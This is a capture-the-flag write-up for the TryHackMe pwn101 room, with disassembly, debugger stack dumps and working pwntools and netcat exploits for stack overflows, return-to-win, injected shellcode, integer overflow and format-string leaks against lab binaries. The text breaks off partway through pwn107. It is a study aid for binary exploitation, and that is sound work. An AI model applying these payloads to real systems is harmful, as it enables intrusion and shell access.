THM pwn101 challenge write up
TRYHACKME Pwn101
Pwn101. Modify variable’s value
Discovery(The Tryhackme room)
βββ(rootπKALI2021)-[/mnt/work/tryhackme/pwn101/101]
ββ# ./pwn101.pwn101
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
ZZZZZ
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/
Analysis
β int main (int argc, char **argv, char **envp);
β ; var uint32_t var_4h @ rbp-0x4
β ; var char *str @ rbp-0x40
β 0x0000088e push rbp
β 0x0000088f mov rbp, rsp
β 0x00000892 sub rsp, 0x40
β 0x00000896 mov dword [var_4h], 0x539
β 0x0000089d mov eax, 0
β 0x000008a2 call sym.setup
β 0x000008a7 mov eax, 0
β 0x000008ac call sym.banner
β 0x000008b1 lea rdi, str.Hello___I_am_going_to_shopping.
β 0x000008b8 call sym.imp.puts ; int puts(const char *s)
β 0x000008bd lea rdi, str.Type_the_required_ingredients_to_make_briyani:
β 0x000008c4 call sym.imp.puts ; int puts(const char *s)
β 0x000008c9 lea rax, [str]
β 0x000008cd mov rdi, rax ; char *str
β 0x000008d0 mov eax, 0
β 0x000008d5 call sym.imp.gets ; gets(str)
β 0x000008da cmp dword [var_4h], 0x539
β ββ< 0x000008e1 jne 0x8f9
β β 0x000008e3 lea rdi, str.Nah_bruh__you_lied_me_:
β β 0x000008ea call sym.imp.puts ; int puts(const char *s)
β β 0x000008ef mov edi, 0x539 ; int status
β β 0x000008f4 call sym.imp.exit ; void exit(int status)
β β ; CODE XREF
β ββ> 0x000008f9 lea rdi, str.Thanks__Heres_a_small_gift_for_you__3 ;
β 0x00000900 call sym.imp.puts ; int puts(const char *s)
β 0x00000905 lea rdi, str._bin_sh ; 0xc3f ; "/bin/sh"
β 0x0000090c call sym.imp.system ; int system(const char *string)
β 0x00000911 nop
β 0x00000912 leave
β 0x00000913 ret
The win condition is the following :
β 0x000008da cmp dword [var_4h], 0x539
β ββ< 0x000008e1 jne 0x8f9
If the local variable var_4h is no more equal to 0x539
β 0x00000896 mov dword [var_4h], 0x539
then a /bin/sh is spawned
The local variaable are :
β ; var uint32_t var_4h @ rbp-0x4
β ; var char *str @ rbp-0x40
The input data are received in rbp-0x40
β 0x000008cd mov rdi, rax ; char *str
β 0x000008d0 mov eax, 0
β 0x000008d5 call sym.imp.gets ; gets(str)
and gets dont controle the length of the message. Then a message longer than 60 (0xx60-4) modyfy the value.
gets hold the linefeed of the message so 59 characters are sufficents.
Exploitation
# python3 -c 'print("A"*59+"\ncat flag.txt\n")'|nc pwn101.thm 9001
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
Thanks, Here's a small gift for you <3
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
Pwn102 - Modify variable’s value
./pwn102.pwn102
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 102
I need badf00d to fee1dead
Am I right? AAAAAAAAA
I'm feeling dead, coz you said I need bad food :(
Analysis
β int main (int argc, char **argv, char **envp);
β ; var uint32_t var_4h @ rbp-0x4
β ; var uint32_t var_8h @ rbp-0x8
β ; var int64_t var_70h @ rbp-0x70
β 0x000008fe push rbp
β 0x000008ff mov rbp, rsp
β 0x00000902 sub rsp, 0x70
β 0x00000906 mov eax, 0
β 0x0000090b call sym.setup
β 0x00000910 mov eax, 0
β 0x00000915 call sym.banner
β 0x0000091a mov dword [var_4h], 0xbadf00d
β 0x00000921 mov dword [var_8h], 0xfee1dead
β 0x00000928 mov edx, dword [var_8h]
β 0x0000092b mov eax, dword [var_4h]
β 0x0000092e mov esi, eax
β 0x00000930 lea rdi, str.I_need__x_to__x_nAm_I_right__ ; 0xb49
β 0x00000937 mov eax, 0
β 0x0000093c call sym.imp.printf ; int printf(const char *format)
β 0x00000941 lea rax, [var_70h]
β 0x00000945 mov rsi, rax
β 0x00000948 lea rdi, [0x00000b66] ; "%s" ; const char *format
β 0x0000094f mov eax, 0
β 0x00000954 call sym.imp.__isoc99_scanf ; int scanf("%s", var_70h)
β 0x00000959 cmp dword [var_4h], 0xc0ff33
β ββ< 0x00000960 jne 0x992
β β 0x00000962 cmp dword [var_8h], 0xc0d3
β βββ< 0x00000969 jne 0x992
β ββ 0x0000096b mov edx, dword [var_8h]
β ββ 0x0000096e mov eax, dword [var_4h]
β ββ 0x00000971 mov esi, eax
β ββ 0x00000973 lea rdi, str.Yes__I_need ; 0xb69
β ββ 0x0000097a mov eax, 0
β ββ 0x0000097f call sym.imp.printf ; int printf(const char *format)
β ββ 0x00000984 lea rdi, str._bin_sh ; 0xb7f ; "/bin/sh"
β ββ 0x0000098b call sym.imp.system ; int system(const char *string)
β ββββ< 0x00000990 jmp 0x9a8
β βββ ; CODE XREF, 0x969
β ββββ> 0x00000992 lea rdi, str.Im_feeling_dead__coz_you_said_I_need_bad_food_:_
β β 0x00000999 call sym.imp.puts ; int puts(const char *s)
β β 0x0000099e mov edi, 0x539 ; int status
β β 0x000009a3 call sym.imp.exit ; void exit(int status)
β ββββ> 0x000009a8 leave
β 0x00000 ret
This time the succes condition is to set the values in var_4h end var_8 to 0xc0ff33 and 0xc0d3 :
β 0x00000959 cmp dword [var_4h], 0xc0ff33
β ββ< 0x00000960 jne 0x992
β β 0x00000962 cmp dword [var_8h], 0xc0d3
β βββ< 0x00000969 jne 0x992
The gets instruction write into rbp-0x70 so the overflow occure on 0x68 th car.
After a prefix of 120 (0x68) characters we send the attended values in the correct little endian convention. “\xd3\xc0\x00\x00β and β\x33\xff\xc0\x00”
Test with gdb (pwngdb or gef)
gdb pwn102.pwn102
We set a bp to main + 86
b *main+86
pwndbg> disass main
Dump of assembler code for function main:
0x00005555554008fe <+0>: push rbp
0x00005555554008ff <+1>: mov rbp,rsp
0x0000555555400902 <+4>: sub rsp,0x70
0x0000555555400906 <+8>: mov eax,0x0
0x000055555540090b <+13>: call 0x55555540088a <setup>
0x0000555555400910 <+18>: mov eax,0x0
0x0000555555400915 <+23>: call 0x5555554008eb <banner>
0x000055555540091a <+28>: mov DWORD PTR [rbp-0x4],0xbadf00d
0x0000555555400921 <+35>: mov DWORD PTR [rbp-0x8],0xfee1dead
0x0000555555400928 <+42>: mov edx,DWORD PTR [rbp-0x8]
0x000055555540092b <+45>: mov eax,DWORD PTR [rbp-0x4]
0x000055555540092e <+48>: mov esi,eax
0x0000555555400930 <+50>: lea rdi,[rip+0x212] #
0x0000555555400937 <+57>: mov eax,0x0
0x000055555540093c <+62>: call 0x555555400730 <printf@plt>
0x0000555555400941 <+67>: lea rax,[rbp-0x70]
0x0000555555400945 <+71>: mov rsi,rax
0x0000555555400948 <+74>: lea rdi,[rip+0x217] #
0x000055555540094f <+81>: mov eax,0x0
=> 0x0000555555400954 <+86>: call 0x555555400750 <__isoc99_scanf@plt>
0x0000555555400959 <+91>: cmp DWORD PTR [rbp-0x4],0xc0ff33
0x0000555555400960 <+98>: jne 0x555555400992 <main+148>
0x0000555555400962 <+100>: cmp DWORD PTR [rbp-0x8],0xc0d3
0x0000555555400969 <+107>: jne 0x555555400992 <main+148>
0x000055555540096b <+109>: mov edx,DWORD PTR [rbp-0x8]
0x000055555540096e <+112>: mov eax,DWORD PTR [rbp-0x4]
0x0000555555400971 <+115>: mov esi,eax
0x0000555555400973 <+117>: lea rdi,[rip+0x1ef] #
0x000055555540097a <+124>: mov eax,0x0
0x000055555540097f <+129>: call 0x555555400730 <printf@plt>
0x0000555555400984 <+134>: lea rdi,[rip+0x1f4] #
0x000055555540098b <+141>: call 0x555555400720 <system@plt>
0x0000555555400990 <+146>: jmp 0x5555554009a8 <main+170>
0x0000555555400992 <+148>: lea rdi,[rip+0x1ef] #
0x0000555555400999 <+155>: call 0x555555400710 <puts@plt>
0x000055555540099e <+160>: mov edi,0x539
0x00005555554009a3 <+165>: call 0x555555400760 <exit@plt>
0x00005555554009a8 <+170>: leave
0x00005555554009a9 <+171>: ret
Running with
r < <( python -c 'print("A"*0x68+"\xd3\xc0\x00\x00\x33\xff\xc0\x00")')
The stack before scanf :
pwndbg> x/16xg $rsp
0x7fffffffded0: 0x0000000000000000 0x0000000000000000
0x7fffffffdee0: 0x0000000000000000 0x0000000000000000
0x7fffffffdef0: 0x0000000000000000 0x0000000000000000
0x7fffffffdf00: 0x0000000000000001 0x00005555554009fd
0x7fffffffdf10: 0x0000000000000000 0x00005555554009b0
0x7fffffffdf20: 0x0000000000000000 0x0000555555400780
0x7fffffffdf30: 0x00007fffffffe030 0x0badf00dfee1dead (var_8/var_4)
0x7fffffffdf40: 0x0000000000000000 0x00007ffff7e087ed (srip)
After scanf
ni
β¦
pwndbg> x/16xg $rsp
0x7fffffffded0: 0x4141414141414141 0x4141414141414141
0x7fffffffdee0: 0x4141414141414141 0x4141414141414141
0x7fffffffdef0: 0x4141414141414141 0x4141414141414141
0x7fffffffdf00: 0x4141414141414141 0x4141414141414141
0x7fffffffdf10: 0x4141414141414141 0x4141414141414141
0x7fffffffdf20: 0x4141414141414141 0x4141414141414141
0x7fffffffdf30: 0x4141414141414141 0x00c0ff330000c0d3 coffee code
0x7fffffffdf40: 0x0000000000000000 0x00007ffff7e087ed
we can verify the variables :
pwndbg> x/1xw $rbp-4
0x7fffffffdf3c: 0x00c0ff33
pwndbg> x/1xw $rbp-8
0x7fffffffdf38: 0x0000c0d3
Execution on the challenge with netcat
# (python -c 'print("A"*0x68+"\xd3\xc0\x00\x00\x33\xff\xc0\x00")';cat) | nc pwn101.thm 9002
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 102
I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
id
uid=1003(pwn102) gid=1003(pwn102) groups=1003(pwn102)
ls
flag.txt
pwn102
pwn102.c
cat flag.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
pwn103 - Return to win
Discovery
The program display a menu
$ ./pwn103.pwn103
β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β β β β β β β β β β β β β β β β’Ήβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β β β β β β β β β β β β β β β β’Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β β ⒠⣴⣾⣡⣢⣢⣾⣿⣦β‘β β β β’Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β β’β£Ύβ£Ώβ£Ώβ’Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ‘β β β’Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β Ⓒ⣿⣿⣧β£β£Όβ£Ώβ£β£ β£Ώβ£Ώβ£Ώβ β β’Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β β β »β’·β‘―β β β β β’«β£Ώβ β β β β’Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ‘β β β β β β β β β β β β β β β β β’Έβ£Ώβ£Ώβ£Ώ
⣿⣿⣿⣧β‘β β β β β β β β β β β β’‘β£β β β’Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Άβ£β£Έβ£Ώβ£Ώβ£Ώ
β£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώβ£Ώ
[THM Discord Server]
βββββββββββ
1) π’ Announcements
2) π Rules
3) π£ General
4) π rooms discussion
5) π€ Bot commands
βββββββββββ
β¨οΈ Choose the channel:
Using the interface we test all channel. Many of them print only static infos. But we found an overflow in the General channel
π£ General:
------[jopraveen]: Hello pwners π
------[jopraveen]: Hope you're doing well π
------[jopraveen]: You found the vuln, right? π€
------[pwner]: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Try harder!!! πͺ
Erreur de segmentation
looking at the source
; CALL XREF from sym.main @ 0x40164b
β sym.general ();
β ; var char *s1 @ rbp-0x20
β 0x004012be push rbp
β 0x004012bf mov rbp, rsp
β 0x004012c2 sub rsp, 0x20
β 0x004012c6 lea rax, [0x004023aa] ; "\n\U0001f5e3 General:\n"
β 0x004012cd mov rdi, rax ; const char *s
β 0x004012d0 call sym.imp.puts ; int puts(const char *s)
β 0x004012d5 lea rax, str.jopraveen_:_Hello_pwners ; 0x4023c0 ;
β 0x004012dc mov rdi, rax ; const char *s
β 0x004012df call sym.imp.puts ; int puts(const char *s)
β 0x004012e4 lea rax, str.jopraveen_:_Hope_you_re_doing_well ; 0x4023e8
β 0x004012eb mov rdi, rax ; const char *s
β 0x004012ee call sym.imp.puts ; int puts(const char *s)
β 0x004012f3 lea rax, str.jopraveen_:_You_found_the_vuln__right ; 0x402418
β 0x004012fa mov rdi, rax ; const char *s
β 0x004012fd call sym.imp.puts ; int puts(const char *s)
β 0x00401302 lea rax, str.pwner_: ; 0x40244c ; "------[pwner]: "
β 0x00401309 mov rdi, rax ; const char *format
β 0x0040130c mov eax, 0
β 0x00401311 call sym.imp.printf ; int printf(const char *format)
β 0x00401316 lea rax, [s1]
β 0x0040131a mov rsi, rax
β 0x0040131d lea rax, [0x0040245c] ; "%s"
β 0x00401324 mov rdi, rax ; const char *format
β 0x00401327 mov eax, 0
β 0x0040132c call sym.imp.__isoc99_scanf ; int scanf(const char *format)
β 0x00401331 lea rax, [s1]
β 0x00401335 lea rdx, [0x0040245f] ; "yes"
β 0x0040133c mov rsi, rdx ; const char *s2
β 0x0040133f mov rdi, rax ; const char *s1
β 0x00401342 call sym.imp.strcmp ; int strcmp(s1,s2)
β 0x00401347 test eax, eax
β ββ< 0x00401349 jne 0x401366
β β 0x0040134b lea rax, str.jopraveen_:_GG ; 0x402463 ; "------[jopraveen]: GG
β β 0x00401352 mov rdi, rax ; const char *s
β β 0x00401355 call sym.imp.puts ; int puts(const char *s)
β β 0x0040135a mov eax, 0
β β 0x0040135f call sym.main ; int main()
β βββ< 0x00401364 jmp 0x401375
β ββ ; CODE XREF 0x401349
β βββ> 0x00401366 lea rax, str.Try_harder ; 0x40247f ; "Try harder!!!"
β β 0x0040136d mov rdi, rax ; const char *s
β β 0x00401370 call sym.imp.puts ; int puts(const char *s)
β β ; CODE XREF 0x401364
β βββ> 0x00401375 nop
β 0x00401376 leave
β 0x00401377 ret
we have a scanf to s1:
β ; var char *s1 @ rbp-0x20
β 0x00401316 lea rax, [s1]
β 0x0040131a mov rsi, rax
With format %s
β 0x0040131d lea rax, [0x0040245c] ; "%s"
β 0x00401324 mov rdi, rax ; const char *format
β 0x00401327 mov eax, 0
β 0x0040132c call sym.imp.__isoc99_scanf ; canf(const char *format)
So we have an overflow after 32 caracters.
No canary protection is set.
We car put a choosen address to SRIP (return addresse of general())
Just befor the main function we found :
β sym.admins_only ();
β 0x00401554 push rbp
β 0x00401555 mov rbp, rsp
β 0x00401558 sub rsp, 0x10
β 0x0040155c lea rax, str.Admins_only: ; 0x403267 ;
β 0x00401563 mov rdi, rax ; const char *s
β 0x00401566 call sym.imp.puts ; int puts(const char *s)
β 0x0040156b lea rax, str.Welcome_admin ; 0x40327c ; "Welcome admin \U0001f604"
β 0x00401572 mov rdi, rax ; const char *s
β 0x00401575 call sym.imp.puts ; int puts(const char *s)
β 0x0040157a lea rax, str.bin_sh ; 0x40328f ; "/bin/sh"
β 0x00401581 mov rdi, rax ; const char *string
β 0x00401584 call sym.imp.system ; int system(const char *string)
β 0x00401589 nop
β 0x0040158a leave
β 0x0040158b ret
The we have to send a message on the general channel with
‘A’*40+pack64(0x00401554)
According to the note we have to add a βropnopβ instruction and put first a ret addresse on the stack
Le payload become : ‘A’*40+pack64(0x00401377)+pack64(0x00401554)
Exploitation
Using pwn tools
#!/usr/bin/env python3
from pwn import *
import re
REMOTE=True
server = "pwn101.thm"
port = 9003
file="./pwn103.pwn103"
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
else:
io = process(file)
io.sendlineafter('channel:',b'3')
io.sendlineafter('[pwner]:',b'A'*40++p64(0x401377)+p64(0x00401554))
io.interactive()
pwn104 - shellcoding
Discovery
# ./pwn104.pwn104
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 104
I think I have some super powers πͺ
especially executable powers ππ₯
Can we go for a fight? ππͺ
I'm waiting for you at 0x7ffe8fc5a500
zzzz
Analysis
β int main (int argc, char **argv, char **envp);
β ; var void *buf @ rbp-0x50
β 0x004011cd push rbp
β 0x004011ce mov rbp, rsp
β 0x004011d1 sub rsp, 0x50
β 0x004011d5 mov eax, 0
β 0x004011da call sym.setup
β 0x004011df mov eax, 0
β 0x004011e4 call sym.banner
β 0x004011e9 lea rax, str.I_think_I_have_some_super_powers_ ; 0x402120
β 0x004011f0 mov rdi, rax ; const char *s
β 0x004011f3 call sym.imp.puts ; int puts(const char *s)
β 0x004011f8 lea rax, str.especially_executable_powers__n ; 0x402148 ;
β 0x004011ff mov rdi, rax ; const char *s
β 0x00401202 call sym.imp.puts ; int puts(const char *s)
β 0x00401207 lea rax, str.Can_we_go_for_a_fight__ ; 0x402170
β 0x0040120e mov rdi, rax ; const char *s
β 0x00401211 call sym.imp.puts ; int puts(const char *s)
β 0x00401216 lea rax, [buf]
β 0x0040121a mov rsi, rax
β 0x0040121d lea rax, str.Im_waiting_for_you_at__p_n ; 0x402190
β 0x00401224 mov rdi, rax ; const char *format
β 0x00401227 mov eax, 0
β 0x0040122c call sym.imp.printf ; int printf("Im watting β¦%p", @buf)
β 0x00401231 lea rax, [buf]
β 0x00401235 mov edx, 0xc8 ; 200 ; size_t nbyte
β 0x0040123a mov rsi, rax ; void *buf
β 0x0040123d mov edi, 0 ; int fildes
β 0x00401242 mov eax, 0
β 0x00401247 call sym.imp.read ; read(0,buf,200)
β 0x0040124c nop
β 0x0040124d leave
β 0x0040124e ret
The program send us the address of the local variable rbp-0x50
then read 200 caracters in this buffer.
The Overflow occurs after 0x50 (80) caracters for reach SRIP we need 88 bytes.
Looking at the stack protection :
pwndbg> checksec
[*] '/mnt/work/tryhackme/pwn101/104/pwn104.pwn104'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
NX is disables so we can :
- read the leak of buf address
- put a shellcode in the buffer and send :
<shellcode><pad to 88><@leak>
exploitation
It is an opportunity to use the shellcraft feature of pwntool.
#!/usr/bin/env python3
from pwn import *
import re
REMOTE=True
server = "pwn101.thm"
port = 9004
file="./pwn104.pwn104"
gs = '''
c
'''
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
else:
io = process(file)
#gdb.attach(io, gs)
#io = gdb.debug(file, aslr=False, gdbscript=gs)
context.arch = "x86_64"
context.os = "linux"
sc = shellcraft.cat('flag.txt')
sc_asm=asm(sc)
io.recvuntil(b'for you at')
leak=io.recvline().rstrip()
leak=int(leak,16)
PL=sc_asm+b"X"*(0x58-len(sc_asm))+p64(leak)
io.sendline(PL)
io.interactive()
pwn105 - Integer Overflow
Discovery
# ./pwn105.pwn105
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 105
-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|
]>> 11
]>> 11
[*] ADDING 11 + 11
[*] RESULT: 22
pwndbg> checksec
[*] '/mnt/work/tryhackme/pwn101/105/pwn105.pwn105'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The program ask for 2 numbers and give the sum.
Analysis
In some condition the following code is executed :
βββββ> 0x0000134b mov eax, dword [var_ch]
ββ ββ 0x0000134e mov esi, eax
ββ ββ 0x00001350 lea rax, str._n___C:__d ; 0x2197 ; "\n[*] C: %d"
ββ ββ 0x00001357 mov rdi, rax ; const char *format
ββ ββ 0x0000135a mov eax, 0
ββ ββ 0x0000135f call sym.imp.printf ; int printf(const char *format)
ββ ββ 0x00001364 lea rax, str._n___Popped_Shell
ββ ββ 0x0000136b mov rdi, rax ; const char *s
ββ ββ 0x0000136e call sym.imp.puts ; int puts(const char *s)
ββ ββ 0x00001373 lea rax, str._bin_sh ; 0x21dc ; "/bin/sh"
ββ ββ 0x0000137a mov rdi, rax ; const char *string
ββ ββ 0x0000137d call sym.imp.system ; int system(const char *string)
ββββββ< 0x00001382 jmp 0x13a3
To reach it :
β 0x000012f5 mov edx, dword [var_14h]
β 0x000012f8 mov eax, dword [var_10h]
β 0x000012fb add eax, edx
β 0x000012fd mov dword [var_ch], eax
β 0x00001300 mov eax, dword [var_14h]
β 0x00001303 test eax, eax
β ββ< 0x00001305 js 0x1384
β β 0x00001307 mov eax, dword [var_10h]
β β 0x0000130a test eax, eax
β βββ< 0x0000130c js 0x1384
β ββ 0x0000130e cmp dword [var_ch], 0
β ββββ< 0x00001312 js 0x134b
var_10h and var_14h are the two given numbers.
var_ch is initialized with the sum of them.
β ββ 0x0000130e cmp dword [var_ch], 0
β ββββ< 0x00001312 js 0x134b
var_ch have to be signed (negative dword)
but var_14 has no had sign flag.
β 0x00001300 mov eax, dword [var_14h]
β 0x00001303 test eax, eax
β ββ< 0x00001305 js 0x1384 ; exit
idem for var_10
β β 0x00001307 mov eax, dword [var_10h]
β β 0x0000130a test eax, eax
β βββ< 0x0000130c js 0x1384
To obtain this condition we can enter two times the larger positiv number : 0x7fffffff (2147483647)
The sum is 0xfffffffe (-2)
Exploitation
# nc pwn101.thm 9005
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 105
-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|
]>> 2147483647
]>> 2147483647
[*] C: -2
[*] Popped Shell
[*] Switching to interactive mode
id
uid=1006(pwn105) gid=1006(pwn105) groups=1006(pwn105)
cat flag.txt
THM{xxxxxxxxxxxxxxxxxxxx}
pwn106 - Print format
Discovery
# ./pwn106user.pwn106-user
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 107
π THM Giveaway π
Enter your THM username to participate in the giveaway: AAAAA
Thanks AAAAA
Analysis
The code of the function main :
β int main (int argc, char **argv, char **envp);
β ; var int64_t canary @ rbp-0x8
β ; var char *format @ rbp-0x40
β ; var int64_t var_46h @ rbp-0x46
β ; var int64_t var_48h @ rbp-0x48
β ; var int64_t var_50h @ rbp-0x50
β ; var int64_t var_58h @ rbp-0x58
β ; var int64_t var_60h @ rbp-0x60
β 0x0000123e push rbp
β 0x0000123f mov rbp, rsp
β 0x00001242 sub rsp, 0x60
β 0x00001246 mov rax, qword fs:[0x28]
β 0x0000124f mov qword [canary], rax
β 0x00001253 xor eax, eax
β 0x00001255 mov eax, 0
β 0x0000125a call sym.setup
β 0x0000125f mov eax, 0
β 0x00001264 call sym.banner
β 0x00001269 movabs rax, 0x5b5858587b4d4854 ; 'THM{XXX['
β 0x00001273 movabs rdx, 0x6465725f67616c66 ; 'flag_red'
β 0x0000127d mov qword [var_60h], rax
β 0x00001281 mov qword [var_58h], rdx
β 0x00001285 movabs rax, 0x58585d6465746361 ; 'acted]XX'
β 0x0000128f mov qword [var_50h], rax
β 0x00001293 mov word [var_48h], 0x7d58 ; 'X}'
β 0x00001299 mov byte [var_46h], 0
β 0x0000129d lea rax, str._THM_Giveaway__n ; 0x2119
β 0x000012a4 mov rdi, rax ; const char *s
β 0x000012a7 call sym.imp.puts ; int puts(const char *s)
β 0x000012ac lea rax, str.Enter_your_THM_username
β 0x000012b3 mov rdi, rax ; const char *format
β 0x000012b6 mov eax, 0
β 0x000012bb call sym.imp.printf ; int printf(const char *format)
β 0x000012c0 lea rax, [format]
β 0x000012c4 mov edx, 0x32 ; size_t nbyte
β 0x000012c9 mov rsi, rax ; void *buf
β 0x000012cc mov edi, 0 ; int fildes
β 0x000012d1 mov eax, 0
β 0x000012d6 call sym.imp.read ; read(0, buf, 50)
β 0x000012db lea rax, str._nThanks_ ; 0x2171 ; "\nThanks "
β 0x000012e2 mov rdi, rax ; const char *format
β 0x000012e5 mov eax, 0
β 0x000012ea call sym.imp.printf ; printf("\nThanks ")
β 0x000012ef lea rax, [format]
β 0x000012f3 mov rdi, rax ; const char *format
β 0x000012f6 mov eax, 0
β 0x000012fb call sym.imp.printf ; int printf(format)
β 0x00001300 nop
β 0x00001301 mov rax, qword [canary]
β 0x00001305 sub rax, qword fs:[0x28]
βββ< 0x0000130e je 0x1315
ββ 0x00001310 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
ββ ; CODE XREF
βββ> 0x00001315 leave
β 0x00001316 ret
The name is printed with the printf instruction in place of the format so we have a format string vulnerability.
As a confirmation we use some %p as username
Enter your THM username to participate in the giveaway: %p %p %p %p
Thanks 0x7ffe2e598ca0 (nil) (nil) 0x18
The goal : the flag is copied on the stack just after then display of the banner.
β 0x00001269 movabs rax, 0x5b5858587b4d4854 ; 'THM{XXX['
β 0x00001273 movabs rdx, 0x6465725f67616c66 ; 'flag_red'
β 0x0000127d mov qword [var_60h], rax
β 0x00001281 mov qword [var_58h], rdx
We can recover the flag from the stack in positions 6,7,8 9 (in the downloaded program)
Enter your THM username to participate in the giveaway: %p %p %p %p %p %p %p %p %p %p
Thanks 0x7fffffffbda0 (nil) (nil) 0x18 0x7ffff7fdc1f0 0x5b5858587b4d4854 0x6465725f67616c66 0x58585d6465746361 0x7d58 0x7025207025207025
The syntax %i$p is usefull to directely access i th position
Exploitation
Online, we inject %p 6 to 12 and the parse the response until find a β}β.
#!/usr/bin/env python3
from pwn import *
import re
REMOTE=True
server = "pwn101.thm"
port = 9006
file="./pwn106.pwn106"
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
else:
io = process(file)
io.recvuntil(b'giveaway: ')
PL=' '.join(f'%{i}$p' for i in range(6,12))
io.sendline(PL.encode())
io.recvuntil(b"Thanks ")
r = io.recvline().rstrip()
# join stack leaks
lflag=b''.join([p64(int(n,16)) for n in r.split(b" ")]).decode()
# The flag stop with '}'
flag=lflag[:lflag.index('}')+1]
print(flag)
io.close()
pwn107 - bypass canary protection
Discovery
# ./pwn107.pwn107
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 107
You are a good THM player π
But yesterday you lost your streak π
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back
THM: What's your last streak? AAAAA
Thanks, Happy hacking!!
Your current streak: AAAAA
[Few days latter.... a notification pops up]
Hi pwner πΎ, keep hackingπ©π» - We miss you!π’
gefβ€ checksec
[+] checksec for '/home/jce/work/tryhackme/pwn101/107/pwn107.pwn107'
Canary : β
NX : β
PIE : β
Fortify : β
RelRO : Full
The program is protected by a canary, the GOT is fully unwritable, NX and PI are enabled.
Analysis
First we can found a win function, not called by the program. The goal is probabely to call it.
sym.get_streak ();
β ; var int64_t canary @ rbp-0x8
β 0x0000094c push rbp
β 0x0000094d mov rbp, rsp
β 0x00000950 sub rsp, 0x10
β 0x00000954 mov rax, qword fs:[0x28]
β 0x0000095d mov qword [canary], rax
β 0x00000961 xor eax, eax
